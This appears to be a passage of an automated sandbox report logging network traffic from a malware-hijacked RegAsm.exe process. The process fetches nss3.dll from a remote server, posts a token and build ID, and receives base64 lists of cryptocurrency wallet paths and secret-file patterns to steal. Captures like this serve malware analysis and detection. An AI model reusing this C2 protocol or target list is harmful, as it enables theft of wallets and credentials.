ttt@++t+t+u+uQ<0\|*<9&w/c5~bASJCtv
2024-09-26 17:06:13 UTC	15605	IN	Data Raw: 54 cf 8f f8 b4 e9 00 40 03 d5 1c 16 4c d1 c1 d6 ae e8 7c cd cc c1 be ea d2 ff 35 4e c0 ce b5 7a ad bb a6 bb 2e dc 94 e9 f3 1e 7d e0 ec 28 a3 07 82 66 5a c3 5b 5a cb ec 03 c9 e3 2c 94 15 21 2b a0 f9 d9 9b 4b e7 b6 de eb 20 51 8c 3e fa 2c 23 d5 18 b0 f0 b1 a0 70 6c 7a ef 8b 83 48 a6 3a 02 06 ef a0 8a 2c b7 88 45 30 82 05 ff 30 82 03 e7 a0 03 02 01 02 02 13 33 00 00 01 51 9e 8d 8f 40 71 a3 0e 41 00 00 00 00 01 51 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 7e 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 28 30 26 06 03 55 04 03 13 1f 4d 69 63 72 6f Data Ascii: T@L\|5Nz.}(fZ[Z,!+K Q>,#plzH:,E003Q@qAQ0*H0~10UUS10UWashington10URedmond10UMicrosoft Corporation1(0&UMicro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	59761	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:14 UTC	193	OUT	GET /nss3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:14 UTC	263	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:14 GMT Content-Type: application/octet-stream Content-Length: 2046288 Connection: close Last-Modified: Thursday, 26-Sep-2024 17:06:14 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-09-26 17:06:14 UTC	16121	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: 1f 01 f2 6b d2 64 89 c7 29 d7 c1 fb 15 01 f3 89 c2 69 f3 90 01 00 00 29 f0 83 e2 03 66 85 d2 0f 94 c2 66 85 ff 0f 95 c6 20 d6 66 85 c0 0f 94 c0 08 f0 0f b6 c0 8d 04 40 8b 55 f0 0f be 84 82 20 7c 1a 10 89 41 10 8a 41 1a fe c8 0f b6 c0 ba 06 00 00 00 0f 49 d0 88 51 1a e9 f7 fe ff ff 83 c2 e8 89 51 0c 8b 41 10 89 45 f0 8b 71 14 40 89 41 10 66 ff 41 1c 0f b7 41 18 a8 03 0f 94 c3 69 f8 29 5c 00 00 8d 97 1c 05 00 00 66 c1 ca 02 0f b7 d2 81 fa 8f 02 00 00 0f 93 c2 20 da 81 c7 10 05 00 00 66 c1 cf 04 0f b7 ff 81 ff a3 00 00 00 0f 92 c6 08 d6 0f b6 d6 8d 14 52 0f be 94 96 20 7c 1a 10 39 55 f0 7c 26 89 f7 c7 41 10 01 00 00 00 8d 56 01 89 51 14 83 fe 0b 7c 12 c7 41 14 00 00 00 00 40 66 89 41 18 66 c7 41 1c 00 00 8a 41 1a fe c0 31 d2 3c 07 0f b6 c0 0f 4d c2 88 41 1a Data Ascii: kd)i)ff f@U \|AAIQQAEq@AfAAi)\f fR \|9U\|&AVQ\|A@fAfAA1<MA
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: 52 f4 1b 10 51 e8 3d b8 06 00 83 c4 0c 66 83 7f 06 00 74 69 31 db 8b 44 9f 14 be 48 01 1d 10 85 c0 74 02 8b 30 68 d3 fe 1b 10 56 e8 f7 5b 19 00 83 c4 08 85 c0 b8 79 64 1c 10 0f 45 c6 8b 4f 10 0f b6 0c 19 f6 c1 02 ba 98 dc 1c 10 be 48 01 1d 10 0f 44 d6 f6 c1 01 b9 b1 de 1c 10 0f 44 ce 50 52 51 68 7f a0 1b 10 8d 44 24 60 50 e8 d6 b7 06 00 83 c4 14 43 0f b7 47 06 39 c3 72 99 8b 44 24 60 8d 48 01 3b 4c 24 58 0f 83 b7 03 00 00 89 4c 24 60 8b 4c 24 54 c6 04 01 29 eb 25 8b 44 24 04 8b 4c 24 08 8b 44 81 10 0f be 08 8d 54 24 50 51 ff 70 20 68 2c e2 1c 10 52 e8 89 b7 06 00 83 c4 10 f6 44 24 64 07 0f 85 4b 03 00 00 8b 44 24 54 85 c0 74 21 8b 4c 24 60 c6 04 08 00 83 7c 24 5c 00 74 12 f6 44 24 65 04 75 0b 8d 4c 24 50 e8 d4 68 06 00 eb 04 8b 44 24 54 89 44 24 18 8b 45 Data Ascii: RQ=fti1DHt0hV[ydEOHDDPRQhD$`PCG9rD$`H;L$XL$`L$T)%D$L$DT$PQp h,RD$dKD$Tt!L$`\|$\tD$euL$PhD$TD$E
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: 40 a1 08 11 1e 10 40 a3 08 11 1e 10 3b 05 30 11 1e 10 77 26 8b 35 38 11 1e 10 85 f6 74 15 8b 0d 78 e0 1d 10 81 f9 80 c2 12 10 75 7b 56 ff 15 68 cc 1d 10 89 f8 5e 5f 5b 5d c3 a3 30 11 1e 10 eb d3 a3 0c 11 1e 10 eb b9 89 3d 20 11 1e 10 e9 54 ff ff ff 31 ff eb dc 8b 0d 40 e0 1d 10 ff 15 00 40 1e 10 57 ff d1 83 c4 04 eb ca ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 0b ff ff ff 89 f7 c1 ff 1f 29 f1 19 f8 31 d2 39 0d e4 10 1e 10 19 c2 7d 27 c7 05 50 11 1e 10 00 00 00 00 e9 20 ff ff ff 31 ff e9 6d ff ff ff ff 15 00 40 1e 10 56 ff d1 83 c4 04 e9 7b ff ff ff c7 05 50 11 1e 10 01 00 00 00 8b 1d 38 11 1e 10 85 db 74 2e 8b 0d 78 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 8b 1d 38 11 1e 10 85 db 74 12 8b 0d 70 e0 1d 10 ff 15 00 40 1e 10 53 ff d1 83 c4 04 a1 4c 11 1e 10 Data Ascii: @@;0w&58txu{Vh^_[]0= T1@@W@V)19}'P 1m@V{P8t.x@S8tp@SL
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: ff 8b 44 24 08 8a 40 12 e9 fc fc ff ff 8b 44 24 08 8b 70 44 8b 06 85 c0 0f 84 81 fd ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 67 fd ff ff 8b 44 24 08 8b 70 40 8b 06 85 c0 74 2d 8b 4c 24 08 80 79 0d 00 75 11 8b 48 20 ff 15 00 40 1e 10 6a 01 56 ff d1 83 c4 08 8b 44 24 08 80 78 12 05 74 08 8b 44 24 08 c6 40 12 01 8b 4c 24 08 8a 41 0c 88 41 13 e9 13 fe ff ff 8b 44 24 08 8b 30 8b 4e 1c 85 c9 0f 84 88 fa ff ff 8b 44 24 08 8b b8 ec 00 00 00 ff 15 00 40 1e 10 6a 00 57 56 ff d1 83 c4 0c 89 44 24 0c e9 72 f6 ff ff 8b 4c 24 08 89 81 a0 00 00 00 e9 f7 f9 ff ff 8b 48 04 ff 15 00 40 1e 10 56 ff d1 83 c4 04 c7 06 00 00 00 00 e9 26 fa ff ff 31 f6 46 e9 d2 fc ff ff 31 db f6 44 24 1c 01 0f 84 40 fe ff ff 68 40 7e 1c 10 68 83 e4 00 00 68 14 dd Data Ascii: D$@D$pDH@VgD$p@t-L$yuH @jVD$xtD$@L$AAD$0ND$@jWVD$rL$H@V&1F1D$@h@~hh
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: 18 89 d8 25 ff ff ff 7f 89 44 24 1c 85 f6 7e 6f 8b 7d 0c 89 54 24 04 8b 0d 30 e4 1d 10 8b 45 08 8b 40 08 89 04 24 ff 15 00 40 1e 10 8d 44 24 10 50 8d 44 24 10 50 56 57 ff 74 24 10 ff d1 85 c0 0f 84 92 00 00 00 8b 44 24 0c 85 c0 8b 54 24 04 74 42 29 c6 72 3e 01 c2 83 d3 00 89 54 24 18 89 d9 81 e1 ff ff ff 7f 89 4c 24 1c 01 c7 85 f6 7f a2 8b 44 24 24 85 c0 0f 85 92 00 00 00 31 ff 8b 4c 24 28 31 e9 e8 9d 64 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 8b 0d 8c e2 1d 10 ff 15 00 40 1e 10 ff d1 89 c2 8b 45 08 89 50 14 83 fa 70 74 05 83 fa 27 75 3f bf 0d 00 00 00 b9 0d 00 00 00 68 ee b2 00 00 8b 45 08 ff 70 1c 68 65 8a 1c 10 e8 c4 1e 14 00 83 c4 0c eb a7 8d 4c 24 24 8d 54 24 08 e8 12 20 14 00 85 c0 0f 85 2a ff ff ff 8b 54 24 08 eb b1 bf 0a 03 00 00 b9 0a 03 00 00 68 f3 Data Ascii: %D$~o}T$0E@$@D$PD$PVWt$D$T$tB)r>T$L$D$$1L$(1de^_[]@EPpt'u?hEpheL$$T$ *T$h
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: 64 8b 0c 38 e8 8e f3 ff ff 43 83 c7 30 3b 5e 68 7c ec 8b 44 24 0c 89 46 68 83 7c 24 04 01 75 72 8b 56 64 8d 1c 40 c1 e3 04 83 7c 1a 1c 00 74 4b 8b 4e 48 8b 01 85 c0 74 42 3d 58 00 1a 10 75 34 8b 86 a8 00 00 00 8b be ac 00 00 00 83 c0 04 83 d7 00 89 74 24 04 89 d6 8b 54 1a 18 0f af fa f7 e2 01 fa 52 50 51 e8 8c 45 12 00 89 f2 8b 74 24 10 83 c4 0c 8b 44 1a 18 89 46 38 31 ff 8b 4c 24 30 31 e9 e8 9f 24 13 00 89 f8 8d 65 f4 5e 5f 5b 5d c3 89 74 24 04 8b 86 e8 00 00 00 89 44 24 08 85 c0 0f 84 88 01 00 00 83 7c 24 0c 00 0f 84 ac 00 00 00 8b 44 24 04 8b 70 64 85 f6 0f 84 9d 00 00 00 8b 44 24 0c 48 8d 3c 40 c1 e7 04 8b 44 3e 14 89 44 24 0c b9 00 02 00 00 31 d2 e8 56 3e ff ff 89 44 24 18 85 c0 0f 84 ce 02 00 00 8d 04 3e 89 44 24 14 8d 04 3e 83 c0 14 89 44 24 08 8b Data Ascii: d8C0;^h\|D$Fh\|$urVd@\|tKNHtB=Xu4t$TRPQEt$DF81L$01$e^_[]t$D$\|$D$pdD$H<@D>D$1V>D$>D$>D$
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: e7 00 00 00 8b 99 4c 01 00 00 85 db 0f 85 82 00 00 00 8b 99 48 01 00 00 85 db 75 6b 8b 99 44 01 00 00 85 db 75 7b ff 81 40 01 00 00 8a 5d f3 88 d8 50 e8 d0 ca 11 00 83 c4 04 89 c3 85 c0 0f 84 a7 00 00 00 57 ff 75 e4 53 e8 0f 1c 18 00 83 c4 0c c6 04 3b 00 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c 89 18 0f b6 0b 80 b9 7a f8 19 10 00 78 4a 8b 4d e8 80 b9 d0 00 00 00 02 0f 83 83 00 00 00 83 c4 10 5e 5f 5b 5d c3 8b 03 89 81 48 01 00 00 e9 50 ff ff ff 8b 03 89 81 4c 01 00 00 e9 43 ff ff ff 8b 03 89 81 44 01 00 00 e9 36 ff ff ff ff 81 3c 01 00 00 e9 73 ff ff ff 80 f9 5b 0f b6 c9 ba 5d 00 00 00 0f 45 d1 89 55 ec 31 f6 46 89 df 8a 0c 33 3a 4d ec 74 06 88 0f 46 47 eb f2 8b 4d ec 38 4c 33 01 74 2d c6 07 00 eb 84 8d 04 b6 8b 4d ec 8d 04 81 83 c0 0c c7 00 00 00 00 00 e9 6d Data Ascii: LHukDu{@]PWuS;MzxJM^_[]HPLCD6<s[]EU1F3:MtFGM8L3t-Mm
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: 59 18 e8 60 50 fe ff 31 c0 39 46 24 0f 84 b8 f6 ff ff 8b 57 10 85 d2 74 09 8b 4c 24 20 e8 75 c2 ff ff 8b 7c 24 0c c7 47 10 00 00 00 00 e9 98 f6 ff ff 8b 06 89 81 44 01 00 00 e9 e3 f9 ff ff ff 81 3c 01 00 00 e9 80 fc ff ff 8b 44 24 14 80 b8 d0 00 00 00 00 0f 85 f3 fb ff ff 8b 44 24 20 8b 40 10 8b 4c 38 0c 83 79 48 00 0f 85 de fb ff ff ff 34 38 68 b4 e0 1c 10 ff 74 24 1c e8 06 09 00 00 83 c4 0c e9 c5 fb ff ff 8b 4c 24 1c e9 ae fd ff ff 8a 80 08 f7 19 10 3a 83 08 f7 19 10 0f 84 02 fa ff ff e9 c9 f9 ff ff 8b 44 24 20 80 b8 b1 00 00 00 00 0f 84 47 04 00 00 68 48 01 1d 10 ff 74 24 18 e8 5f 2a 01 00 83 c4 08 e9 33 f7 ff ff 8b 44 24 0c 80 48 1e 01 66 83 78 22 00 0f 8e a5 f5 ff ff 31 c9 b8 0e 00 00 00 8b 54 24 0c 8b 52 04 8b 74 02 f6 89 f7 c1 ef 04 83 e7 0f 83 ff Data Ascii: Y`P19F$WtL$ u\|$GD<D$D$ @L8yH48ht$L$:D$ GhHt$_*3D$Hfx"1T$Rt
2024-09-26 17:06:14 UTC	16384	IN	Data Raw: 00 00 85 c0 0f 85 34 f9 ff ff e9 a7 e8 ff ff c7 44 24 24 00 00 00 00 e9 0b f1 ff ff 8b 44 24 0c 8b 40 10 8b 40 1c 8b 4c 24 08 3b 41 3c 0f 84 95 ea ff ff 8b 7c 24 08 ff 37 68 27 f8 1c 10 ff 74 24 0c e8 e0 ea 00 00 83 c4 0c c7 44 24 24 00 00 00 00 e9 a2 f0 ff ff 68 48 e4 1b 10 8b 7c 24 08 57 e8 c1 ea 00 00 83 c4 08 be 0b 00 00 00 68 40 7e 1c 10 68 14 ce 01 00 68 40 bb 1b 10 68 78 fc 1b 10 56 e8 8f 4f 01 00 83 c4 14 89 77 0c c7 44 24 1c 00 00 00 00 e9 83 f8 ff ff 66 ba 1e 00 31 c0 85 c9 0f 85 54 f1 ff ff 31 d2 e9 5b f1 ff ff 31 ff 66 ba 28 00 be ff 0f 00 00 89 cb 31 c0 83 c2 28 89 f9 0f a4 d9 1c c1 e8 04 39 de bb 00 00 00 00 19 fb 89 cb 89 c7 0f 83 f2 f0 ff ff eb df a9 fd ff ff ff 74 65 31 f6 46 b8 ec bb 1b 10 e9 c1 fd ff ff 31 c0 e9 85 f2 ff ff c7 44 24 18 Data Ascii: 4D$$D$@@L$;A<\|$7h't$D$$hH\|$Wh@~hh@hxVOwD$f1T1[1f(1(9te1F1D$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	59762	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:17 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIIECFHDBAAECAAKFHDH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 1145 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:17 UTC	1145	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 43 46 48 44 42 41 41 45 43 41 41 4b 46 48 44 48 0d 0a 43 6f 6e 74 Data Ascii: ------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------FIIECFHDBAAECAAKFHDHContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------FIIECFHDBAAECAAKFHDHCont
2024-09-26 17:06:17 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:17 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	59763	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:18 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFCBFHJECAKEHIECGIEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:18 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 43 42 46 48 4a 45 43 41 4b 45 48 49 45 43 47 49 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------CFCBFHJECAKEHIECGIEBContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------CFCBFHJECAKEHIECGIEBCont
2024-09-26 17:06:19 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:19 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	59764	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:19 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJKJDBFIIDHJKEHJEH User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:19 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 4b 4a 44 42 46 49 49 44 48 4a 4b 45 48 4a 45 48 0d 0a 43 6f 6e 74 Data Ascii: ------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------CBKJKJDBFIIDHJKEHJEHContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------CBKJKJDBFIIDHJKEHJEHCont
2024-09-26 17:06:20 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:20 UTC	1524	IN	Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	59765	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:21 UTC	277	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEGCAEGIIIDHIEBKEB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache
2024-09-26 17:06:21 UTC	461	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 30 37 62 63 65 33 66 35 66 38 30 62 65 37 64 38 64 34 66 64 65 31 35 62 31 30 33 63 61 39 34 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 39 30 38 34 30 61 38 34 36 64 30 31 37 65 37 62 30 39 35 66 37 35 34 33 63 64 66 32 64 31 35 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 45 47 43 41 45 47 49 49 49 44 48 49 45 42 4b 45 42 0d 0a 43 6f 6e 74 Data Ascii: ------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="token"207bce3f5f80be7d8d4fde15b103ca94------GHJEGCAEGIIIDHIEBKEBContent-Disposition: form-data; name="build_id"e90840a846d017e7b095f7543cdf2d15------GHJEGCAEGIIIDHIEBKEBCont
2024-09-26 17:06:22 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 26 Sep 2024 17:06:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-09-26 17:06:22 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	59766	5.75.211.162	443	1800	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:06:23 UTC	280	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDA User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0 Host: 5.75.211.162 Content-Length: 115025 Connection: Keep-Alive Cache-Control: no-cache
